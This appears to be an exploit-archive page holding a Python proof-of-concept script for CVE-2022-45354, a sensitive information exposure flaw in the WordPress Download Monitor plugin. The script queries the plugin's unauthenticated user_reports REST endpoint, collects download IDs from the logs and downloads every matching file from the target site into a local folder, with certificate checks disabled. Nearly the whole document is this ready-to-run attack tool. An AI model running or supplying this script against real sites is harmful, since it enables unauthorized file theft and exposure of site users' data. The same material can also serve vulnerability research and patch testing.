4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / download_monitor.py PY
#!/usr/bin/env python3

"""
CVE-2022-45354

Download Monitor <= 4.7.60 - Sensitive Information Exposure via REST API
by random-robbie

Script to generate download links for unique download IDs from the
WordPress Download Monitor plugin and download the files.

Usage:
    python download_link_generator.py <URL>
"""

import argparse
import os
import re
import requests
from urllib.parse import urljoin


# Disable SSL verification warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_user_reports(response):
    try:
        data = response.json()
        logs = data["logs"]

        download_ids = set()
        for log in logs:
            download_id = log["download_id"]
            download_ids.add(download_id)

        base_url = response.url.split("/wp-json")[0]
        for download_id in download_ids:
            download_url = urljoin(base_url, f"/download/{download_id}/")
            yield download_url
    except (KeyError, ValueError) as e:
        print(f"Error parsing JSON response: {e}")


def extract_filename(content_disposition):
    # Extracts the filename from the Content-Disposition header
    # Handles cases where the filename is encoded with UTF-8 and surrounded by single quotes or double quotes

    # Regex pattern to match the filename
    pattern = r"filename\*=UTF-8''([\w.%+-]+)"

    matches = re.findall(pattern, content_disposition)
    if matches:
        return matches[0]
    else:
        # If the pattern doesn't match, fall back to extracting the filename without encoding
        filename_match = re.search(r'filename="([^"]+)"', content_disposition)
        if filename_match:
            return filename_match.group(1)
        else:
            return None


def download_file(url, output_folder):
    try:
        response = requests.get(url, verify=False)

        if response.status_code == 200:
            # Extract file name from the Content-Disposition header
            content_disposition = response.headers.get("Content-Disposition")
            if content_disposition:
                filename = extract_filename(content_disposition)
            else:
                # If Content-Disposition header is not available, use the last portion of the URL as the filename
                filename = url.split("/")[-1]

            # Create the output folder if it doesn't exist
            os.makedirs(output_folder, exist_ok=True)

            # Save the file
            filepath = os.path.join(output_folder, filename)
            with open(filepath, "wb") as f:
                f.write(response.content)

            print(f"Downloaded: {filename}")
        else:
            print(f"Failed to download: {url} [Status code: {response.status_code}]")
    except requests.RequestException as e:
        print(f"Error occurred during download: {e}")


def main():
    print(r"""
    CVE-2022-45354
    
    Download Monitor <= 4.7.60 - Sensitive Information Exposure via REST API
                            by random-robbie
    """)

    parser = argparse.ArgumentParser(description="Download ID Link Generator")
    parser.add_argument("url", help="URL to the WordPress site")
    parser.add_argument("-o", "--output", default="downloads", help="Output folder for downloaded files")

    args = parser.parse_args()

    url = args.url.rstrip("/")
    endpoint = f"{url}/wp-json/download-monitor/v1/user_reports"
    output_folder = args.output

    # Create a session and ignore SSL verification
    session = requests.Session()
    session.verify = False

    try:
        response = session.get(endpoint)
        if response.status_code == 200:
            download_links = parse_user_reports(response)
            for link in download_links:
                download_file(link, output_folder)
        else:
            print(f"Request failed with status code {response.status_code}")
    except requests.RequestException as e:
        print(f"An error occurred during the request: {e}")


if __name__ == "__main__":
    main()